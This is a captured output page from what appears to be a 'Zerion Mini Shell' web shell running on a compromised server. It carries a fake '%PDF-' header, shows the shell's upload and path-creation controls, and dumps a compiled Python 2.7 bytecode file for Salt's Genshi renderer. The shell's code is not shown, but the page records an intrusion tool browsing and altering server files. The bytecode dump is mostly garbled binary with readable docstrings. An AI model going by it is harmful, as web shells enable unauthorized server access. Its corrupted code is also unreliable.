%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/renderers/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/renderers/genshi.pyc

�
���^c@@s�dZddlmZmZmZy:ddlmZddlmZddlmZe	Z
Wnek
rueZ
nXddl
mZddd	d
�ZdS(u
Genshi Renderer for Salt
i(tabsolute_importtprint_functiontunicode_literals(tMarkupTemplate(tNewTextTemplate(tOldTextTemplate(tsixubaseuuxmlcK@s�ts
iSt|tj�s+|j�}n|jd�rT||jd�d}n|j�sdiS|dks||dkr�t|�}n'|dkr�t	|�}nt
|�}|j|�j|�S(u�
    Render a Genshi template. A method should be passed in as part of the
    kwargs. If no method is passed in, xml is assumed. Valid methods are:

    .. code-block:

        - xml
        - xhtml
        - html
        - text
        - newtext
        - oldtext

    Note that the ``text`` method will call ``NewTextTemplate``. If ``oldtext``
    is desired, it must be called explicitly

    :rtype: A Python data structure
    u#!u
iutextunewtextuoldtext(
tHAS_LIBSt
isinstanceRtstring_typestreadt
startswithtfindtstripRRRtgeneratetrender(tgenshi_datatsaltenvtslstmethodtkwsttmpl((s9/usr/lib/python2.7/site-packages/salt/renderers/genshi.pyRsN(t__doc__t
__future__RRRtgenshi.templateRRRtTrueRtImportErrortFalsetsalt.extRR(((s9/usr/lib/python2.7/site-packages/salt/renderers/genshi.pyt<module>s




Zerion Mini Shell 1.0